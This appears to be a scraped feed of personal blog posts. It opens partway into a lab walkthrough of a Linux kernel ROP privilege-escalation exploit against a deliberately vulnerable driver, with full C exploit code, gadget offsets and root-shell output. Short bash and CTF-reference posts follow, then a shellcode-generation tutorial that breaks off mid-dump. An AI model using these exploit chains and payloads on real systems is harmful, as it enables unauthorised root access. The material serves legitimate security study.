<span class="n">base_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s">'r'</span><span class="p">)</span> <span class="c1"># gadgets
</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">.</span><span class="n">readlines</span><span class="p">():</span>
<span class="n">target_str</span><span class="p">,</span> <span class="n">gadget</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">)</span>
<span class="n">target_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">target_str</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
<span class="c1"># check alignment
</span> <span class="k">if</span> <span class="n">target_addr</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">continue</span>
<span class="k">print</span> <span class="s">'='</span><span class="o">*</span><span class="mi">4</span>
<span class="n">offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">target_addr</span> <span class="o">-</span> <span class="n">base_addr</span><span class="p">)</span> <span class="o">/</span> <span class="mi">8</span>
<span class="k">print</span> <span class="s">'offset ='</span><span class="p">,</span> <span class="p">(</span><span class="mi">1</span> <span class="o"><<</span> <span class="mi">64</span><span class="p">)</span> <span class="o">+</span> <span class="n">offset</span>
<span class="k">print</span> <span class="s">'gadget ='</span><span class="p">,</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span>
<span class="k">print</span> <span class="s">'stack addr = %x'</span> <span class="o">%</span> <span class="p">(</span><span class="n">target_addr</span> <span class="o">&</span> <span class="mh">0xffffffff</span><span class="p">)</span>
<span class="c1">#break
</span></code></pre></div> </div>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="s1">': xchg eax, esp ; ret'</span> kernel.gadgets <span class="o">></span> kernel.xchg.gadgets
<span class="nv">$ </span>python ../kernel_rop/find_offset.py 0xffffffffa0002340 kernel.xchg.gadgets
<span class="o">====</span>
offset <span class="o">=</span> 18446744073644639793
gadget <span class="o">=</span> 0xffffffff810c54c8 : xchg eax, esp <span class="p">;</span> ret 0x14ff
stack addr <span class="o">=</span> 810c54c8
<span class="o">====</span>
offset <span class="o">=</span> 18446744073645214365
gadget <span class="o">=</span> 0xffffffff81527828 : xchg eax, esp <span class="p">;</span> ret 0x21
stack addr <span class="o">=</span> 81527828
<span class="o">====</span>
offset <span class="o">=</span> 18446744073644591982
gadget <span class="o">=</span> 0xffffffff81067eb0 : xchg eax, esp <span class="p">;</span> ret 0x3145
stack addr <span class="o">=</span> 81067eb0
<span class="o">====</span>
</code></pre></div> </div>
</li>
</ul>
</li>
<li>
<p>Host: update rop_exploit.c with above information</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* ROP exploit for drv.c kernel module
*
* gcc rop_exploit.c -O2 -o rop_exploit
*
* Email: vnik@cyseclabs.com
* Vitaly Nikolenko
*/</span>
<span class="cp">#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include "drv.h"
</span>
<span class="cp">#define DEVICE_PATH "/dev/vulndrv"
</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">user_cs</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">user_ss</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">user_rflags</span><span class="p">;</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">save_state</span><span class="p">()</span> <span class="p">{</span>
<span class="n">asm</span><span class="p">(</span>
<span class="s">"movq %%cs, %0</span><span class="se">\n</span><span class="s">"</span>
<span class="s">"movq %%ss, %1</span><span class="se">\n</span><span class="s">"</span>
<span class="s">"pushfq</span><span class="se">\n</span><span class="s">"</span>
<span class="s">"popq %2</span><span class="se">\n</span><span class="s">"</span>
<span class="o">:</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">user_cs</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">user_ss</span><span class="p">),</span> <span class="s">"=r"</span> <span class="p">(</span><span class="n">user_rflags</span><span class="p">)</span> <span class="o">:</span> <span class="o">:</span> <span class="s">"memory"</span> <span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">shell</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">getuid</span><span class="p">())</span> <span class="p">{</span> <span class="c1">// mean rooted</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">usage</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">bin_name</span><span class="p">)</span> <span class="p">{</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"%s array_base_address_hex array_offset_decimal ret_inst_operand_hex </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">bin_name</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">fd</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">drv_req</span> <span class="n">req</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">mapped</span><span class="p">,</span> <span class="o">*</span><span class="n">temp_stack</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">base_addr</span><span class="p">,</span> <span class="n">stack_addr</span><span class="p">,</span> <span class="n">mmap_addr</span><span class="p">,</span> <span class="o">*</span><span class="n">fake_stack</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">ret_inst_operand</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
<span class="n">usage</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">base_addr</span> <span class="o">=</span> <span class="n">strtoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">req</span><span class="p">.</span><span class="n">offset</span> <span class="o">=</span> <span class="n">strtoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
<span class="n">ret_inst_operand</span> <span class="o">=</span> <span class="n">strtoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"array base address = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">base_addr</span><span class="p">);</span>
<span class="n">stack_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">base_addr</span> <span class="o">+</span> <span class="p">(</span><span class="n">req</span><span class="p">.</span><span class="n">offset</span> <span class="o">*</span> <span class="mi">8</span><span class="p">))</span> <span class="o">&</span> <span class="mh">0xffffffff</span><span class="p">;</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="s">"stack address = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">stack_addr</span><span class="p">);</span>
<span class="n">mmap_addr</span> <span class="o">=</span> <span class="n">stack_addr</span> <span class="o">&</span> <span class="mh">0xffff0000</span><span class="p">;</span>
<span class="n">assert</span><span class="p">((</span><span class="n">mapped</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">mmap_addr</span><span class="p">,</span> <span class="mh">0x20000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">mmap_addr</span><span class="p">);</span>
<span class="n">assert</span><span class="p">((</span><span class="n">temp_stack</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="mh">0x30000000</span><span class="p">,</span> <span class="mh">0x10000000</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="mh">0x30000000</span><span class="p">);</span>
<span class="n">save_state</span><span class="p">();</span>
<span class="n">fake_stack</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">stack_addr</span><span class="p">);</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff810476e5UL</span><span class="p">;</span> <span class="cm">/* pop rdi ; ret */</span>
<span class="n">fake_stack</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">stack_addr</span> <span class="o">+</span> <span class="n">ret_inst_operand</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0x0UL</span><span class="p">;</span> <span class="cm">/* NULL */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff8108fa30UL</span><span class="p">;</span> <span class="cm">/* prepare_kernel_cred() */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff812366d2UL</span><span class="p">;</span> <span class="cm">/* pop rdx ; ret */</span>
<span class="c1">//*fake_stack ++= 0xffffffff8108f7b0UL; /* commit_creds() */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff8108f7b6UL</span><span class="p">;</span> <span class="c1">// commit_creds() + 2 instructions</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff81035b51UL</span><span class="p">;</span> <span class="cm">/* mov rdi, rax ; call rdx */</span>
<span class="cp">#if 1
</span> <span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff81050554UL</span><span class="p">;</span> <span class="c1">// swapgs ; pop rbp ; ret</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xdeadbeefUL</span><span class="p">;</span> <span class="c1">// dummy placeholder </span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="mh">0xffffffff81050dd6UL</span><span class="p">;</span> <span class="cm">/* iretq */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">shell</span><span class="p">;</span> <span class="cm">/* spawn a shell */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="n">user_cs</span><span class="p">;</span> <span class="cm">/* saved CS */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="n">user_rflags</span><span class="p">;</span> <span class="cm">/* saved EFLAGS */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)(</span><span class="n">temp_stack</span><span class="o">+</span><span class="mh">0x5000000</span><span class="p">);</span> <span class="cm">/* mmaped stack region in user space */</span>
<span class="o">*</span><span class="n">fake_stack</span> <span class="o">++=</span> <span class="n">user_ss</span><span class="p">;</span> <span class="cm">/* saved SS */</span>
<span class="cp">#endif
</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEVICE_PATH</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">perror</span><span class="p">(</span><span class="s">"open"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&</span><span class="n">req</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div> </div>
</li>
<li>
<p>Host: build and add rop_exploit to rootfs</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">--static</span> rop_exploit.c <span class="nt">-o</span> rop_exploit
<span class="nv">$ </span><span class="nb">cd</span> ~/busybox-1.19.4/_install/
<span class="nv">$ </span><span class="nb">cp</span> ~/kernel_rop/rop_exploit <span class="nb">.</span>
<span class="nv">$ </span>find <span class="nb">.</span> | cpio <span class="nt">-o</span> <span class="nt">--format</span><span class="o">=</span>newc <span class="o">></span> ../rootfs.img
</code></pre></div> </div>
</li>
<li>
<p>Boot and test</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/ <span class="c"># insmod drv.ko </span>
<span class="o">[</span> 57.808600] drv: module verification failed: signature and/or required key missing - tainting kernel
<span class="o">[</span> 57.824089] addr<span class="o">(</span>ops<span class="o">)</span> <span class="o">=</span> ffffffffa0002340
/ <span class="c"># mdev -s</span>
/ <span class="c"># chmod o+rw /dev/vulndrv</span>
/ <span class="c"># adduser user</span>
addgroup: /etc/group: No such file or directory
passwd: unknown uid 0
/ <span class="c"># su user</span>
~ <span class="nv">$ </span><span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>user<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000 <span class="nb">groups</span><span class="o">=</span>1000
/ <span class="nv">$ </span>./rop_exploit ffffffffa0002340 18446744073645214365 21
array base address <span class="o">=</span> 0xffffffffa0002340
stack address <span class="o">=</span> 0x81527828
<span class="o">[</span> 165.879158] device opened!
<span class="o">[</span> 165.888184] size <span class="o">=</span> fffffffffc2a4a9d
<span class="o">[</span> 165.892331] fn is at ffffffff81527828
/ <span class="c"># id</span>
<span class="nv">uid</span><span class="o">=</span>0 <span class="nv">gid</span><span class="o">=</span>0
</code></pre></div> </div>
</li>
</ul>
Bash related stuff2018-09-14T00:00:00+00:00http://memto.github.io/linux/tooltips/2018/09/14/bash-related-stuff<h5 id="pipe-and-redirection">Pipe and redirection</h5>
<ul>
<li>Ref:
<ul>
<li><a href="https://superuser.com/a/999611">Pipe and stdin redirection to cat</a></li>
</ul>
</li>
<li>Piping
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"hello world"</span> | <span class="nb">cat</span>
</code></pre></div> </div>
</li>
<li>Redirection
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> < file.txt
</code></pre></div> </div>
</li>
<li>Process Substitution
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> <<span class="o">(</span><span class="nb">echo</span> <span class="s2">"hello world"</span><span class="o">)</span>
</code></pre></div> </div>
</li>
</ul>
<h5 id="subshell-command-execution-environment">Subshell (COMMAND EXECUTION ENVIRONMENT)</h5>
<ul>
<li>Ref:
<ul>
<li><a href="https://unix.stackexchange.com/a/138498">Do parentheses really put the command in a subshell?</a></li>
</ul>
</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="o">(</span>command1<span class="p">;</span> command2<span class="p">;</span> command3<span class="o">)</span> | command4
</code></pre></div></div>
CTF/Exploit tips2018-09-13T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2018/09/13/ctf-exploit-tips<h4 id="ref">Ref</h4>
<ul>
<li><a href="https://bitvijays.github.io/LFC-BinaryExploitation.html">CTF Series : Binary Exploitation</a></li>
<li><a href="https://security.stackexchange.com/a/130909">IP/EIP Offsets?</a></li>
<li><a href="https://reverseengineering.stackexchange.com/a/13929">Managing inputs for payload injection?</a></li>
</ul>
How to generate shellcode payload2018-09-07T00:00:00+00:00http://memto.github.io/linux/program/2018/09/07/how-to-generate-shellcode-payload<h4 id="ref">Ref</h4>
<ul>
<li><a href="https://turkeyland.net/projects/overflow/shell.php">Buffer Overflows and You</a></li>
</ul>
<h5 id="inputoutput">Input/output:</h5>
<ul>
<li>Input</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
File: mychmod.c
*/</span>
<span class="cp">#include <sys/stat.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">chmod</span><span class="p">(</span><span class="s">"/home/dvn0zz/ccppsamples/bufferOverflow/test.txt"</span><span class="p">,</span> <span class="mo">04711</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>Output:
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">payload</span><span class="p">[]</span> <span class="o">=</span>
<span class="s">"</span><span class="se">\x48\xbe\xc9\x19\x11\x11\x11\x11\x11\x11\x48\xc1\xe6\x34\x48\xc1\xee\x34\x48</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x31\xff\x57\x48\xbf\x74\x65\x73\x74\x2e\x74\x78\x74\x57\x48\xbf\x76\x65\x72</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x66\x6c\x6f\x77\x2f\x57\x48\xbf\x2f\x62\x75\x66\x66\x65\x72\x4f\x57\x48\xbf</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x70\x73\x61\x6d\x70\x6c\x65\x73\x57\x48\xbf\x6e\x30\x7a\x7a\x2f\x63\x63\x70</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x57\x48\xbf\x2f\x68\x6f\x6d\x65\x2f\x64\x76\x57\x48\x89\xe7\x48\xb8\x5a\x11</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05</span><span class="s">"</span><span class="p">;</span>
</code></pre></div> </div>
</li>
</ul>
<h5 id="steps">Steps</h5>
<p><strong>Step1</strong>: Get input info</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-o</span> mychmod mychmod.c
<span class="nv">$ </span>gdb mychmod
<span class="o">(</span>gdb<span class="o">)</span> disassemble main
Dump of assembler code <span class="k">for function </span>main:
0x00000000004009ae <+0>: push %rbp
0x00000000004009af <+1>: mov %rsp,%rbp
0x00000000004009b2 <+4>: mov <span class="nv">$0x9c9</span>,%esi
0x00000000004009b7 <+9>: mov <span class="nv">$0x4a0ee8</span>,%edi
0x00000000004009bc <+14>: callq 0x43f120 <<span class="nb">chmod</span><span class="o">></span>
0x00000000004009c1 <+19>: mov <span class="nv">$0x0</span>,%eax
0x00000000004009c6 <+24>: pop %rbp
0x00000000004009c7 <+25>: retq
End of assembler dump.
<span class="o">(</span>gdb<span class="o">)</span> disassemble <span class="nb">chmod
</span>Dump of assembler code <span class="k">for function </span><span class="nb">chmod</span>:
0x000000000043f120 <+0>: mov <span class="nv">$0x5a</span>,%eax
0x000000000043f125 <+5>: syscall
0x000000000043f127 <+7>: cmp <span class="nv">$0xfffffffffffff001</span>,%rax
0x000000000043f12d <+13>: jae 0x444170 <__syscall_error>
0x000000000043f133 <+19>: retq
End of assembler dump.
</code></pre></div></div>
<p>Here we get:</p>
<ul>
<li>EAX (RAX) register loaded with system call number for chmod (0x5a)</li>
<li>EDI (RDI) register loaded with address of first argument, which is filepath string ($0x4a0ee8)</li>
<li>ESI (RSI) register loaded with second argument has octal value of 04711 (0x9c9)</li>
</ul>
<p><strong>Step2</strong>: Mimic assembly code</p>
<p>To mimic setting EAX, ESI value is simple, but to set value for EDI we need put our file path string somewhere and then set address to EDI. Here we will do that by push string on stack then store RSP into EDI. Before we do that, we need convert string to hex represent and also if machine is little-endian (it is in my case) we need to change bytes order also. We will use python3 to do this task.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3
<span class="o">>>></span> filepath <span class="o">=</span> <span class="s2">"/home/dvn0zz/ccppsamples/bufferOverflow/test.txt"</span>
<span class="o">>>></span> filepath_byte_arr <span class="o">=</span> bytearray<span class="o">(</span>filepath.encode<span class="o">(</span><span class="s2">"ascii"</span><span class="o">))</span>
<span class="o">>>></span> filepath_byte_arr.hex<span class="o">()</span>
<span class="s1">'2f686f6d652f64766e307a7a2f6363707073616d706c65732f6275666665724f766572666c6f772f746573742e747874'</span>
<span class="o">>>></span> filepath_byte_arr.reverse<span class="o">()</span>
<span class="o">>>></span> filepath_byte_arr.hex<span class="o">()</span>
<span class="s1">'7478742e747365742f776f6c667265764f7265666675622f73656c706d6173707063632f7a7a306e76642f656d6f682f'</span>
</code></pre></div></div>
<p>Now we can set value for EDI (RDI) like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">"xor %rdi,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x7478742e74736574,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x2f776f6c66726576,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x4f7265666675622f,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x73656c706d617370,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x7063632f7a7a306e,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x76642f656d6f682f,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov %rsp,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
</code></pre></div></div>
<p><strong>Note</strong>: why we need first two instruction? That is because the string need be null terminated</p>
<p>With this we have full mimic assembly code as below:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
File: mychmod_asm.c
*/</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">__asm__</span><span class="p">(</span><span class="s">"mov $0x11111111111119c9,%rsi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"shl $0x34,%rsi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"shr $0x34,%rsi</span><span class="se">\n\t</span><span class="s">"</span> <span class="c1">// set RSI to 0x9c9</span>
<span class="s">"xor %rdi,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x7478742e74736574,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x2f776f6c66726576,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x4f7265666675622f,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x73656c706d617370,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x7063632f7a7a306e,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov $0x76642f656d6f682f,%rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"push %rdi</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"mov %rsp,%rdi</span><span class="se">\n\t</span><span class="s">"</span> <span class="c1">// set RDI to address of filepath string</span>
<span class="s">"mov $0x111111111111115a,%rax</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"shl $0x38,%rax</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"shr $0x38,%rax</span><span class="se">\n\t</span><span class="s">"</span> <span class="c1">// set RAX to syscall number of chmod</span>
<span class="s">"syscall</span><span class="se">\n\t</span><span class="s">"</span>
<span class="s">"add $0x38,%rsp"</span> <span class="c1">// pop out what are put on stack)</span>
<span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>Note</strong>: why when setting value for RSI/RAX we need three instruction like above? That is we dont want it to have 00 in our output payload (which is null terminated). So the trick here is, for example to set value of 0x9c9 into RSI, we set all 0 bits to 1, left shift RSI to clear those bits, then right shift RSI to get actual value.</p>
<p><strong>Step3</strong>: Get shellcode payload</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-o</span> mychmod_asm mychmod_asm.c
<span class="nv">$ </span>gdb mychmod_asm
<span class="o">(</span>gdb<span class="o">)</span> disassemble main
Dump of assembler code <span class="k">for function </span>main:
0x00000000004004d6 <+0>: push %rbp
0x00000000004004d7 <+1>: mov %rsp,%rbp
0x00000000004004da <+4>: movabs <span class="nv">$0x11111111111119c9</span>,%rsi
0x00000000004004e4 <+14>: shl <span class="nv">$0x34</span>,%rsi
0x00000000004004e8 <+18>: shr <span class="nv">$0x34</span>,%rsi
0x00000000004004ec <+22>: xor %rdi,%rdi
0x00000000004004ef <+25>: push %rdi
0x00000000004004f0 <+26>: movabs <span class="nv">$0x7478742e74736574</span>,%rdi
0x00000000004004fa <+36>: push %rdi
0x00000000004004fb <+37>: movabs <span class="nv">$0x2f776f6c66726576</span>,%rdi
0x0000000000400505 <+47>: push %rdi
0x0000000000400506 <+48>: movabs <span class="nv">$0x4f7265666675622f</span>,%rdi
0x0000000000400510 <+58>: push %rdi
0x0000000000400511 <+59>: movabs <span class="nv">$0x73656c706d617370</span>,%rdi
0x000000000040051b <+69>: push %rdi
0x000000000040051c <+70>: movabs <span class="nv">$0x7063632f7a7a306e</span>,%rdi
0x0000000000400526 <+80>: push %rdi
0x0000000000400527 <+81>: movabs <span class="nv">$0x76642f656d6f682f</span>,%rdi
0x0000000000400531 <+91>: push %rdi
0x0000000000400532 <+92>: mov %rsp,%rdi
0x0000000000400535 <+95>: movabs <span class="nv">$0x111111111111115a</span>,%rax
0x000000000040053f <+105>: shl <span class="nv">$0x38</span>,%rax
0x0000000000400543 <+109>: shr <span class="nv">$0x38</span>,%rax
0x0000000000400547 <+113>: syscall
0x0000000000400549 <+115>: add <span class="nv">$0x38</span>,%rsp
0x000000000040054d <+119>: mov <span class="nv">$0x0</span>,%eax
0x0000000000400552 <+124>: pop %rbp
0x0000000000400553 <+125>: retq
End of assembler dump.
<span class="o">(</span>gdb<span class="o">)</span> p <span class="o">(</span>0x0000000000400549 - 0x00000000004004da<span class="o">)</span>
<span class="nv">$1</span> <span class="o">=</span> 111
<span class="o">(</span>gdb<span class="o">)</span> x/111bx 0x00000000004004da
0x4004da <main+4>: 0x48 0xbe 0xc9 0x19 0x11 0x11 0x11 0x11
0x4004e2 <main+12>: 0x11 0x11 0x48 0xc1 0xe6 0x34 0x48 0xc1
0x4004ea <main+20>: 0xee 0x34 0x48 0x31 0xff 0x57 0x48 0xbf
0x4004f2 <main+28>: 0x74 0x65 0x73 0x74 0x2e 0x74 0x78 0x74
0x4004fa <main+36>: 0x57 0x48 0xbf 0x76 0x65 0x72 0x66 0x6c
0x400502 <main+44>: 0x6f 0x77 0x2f 0x57 0x48 0xbf 0x2f 0x62
0x40050a <main+52>: 0x75 0x66 0x66 0x65 0x72 0x4f 0x57 0x48
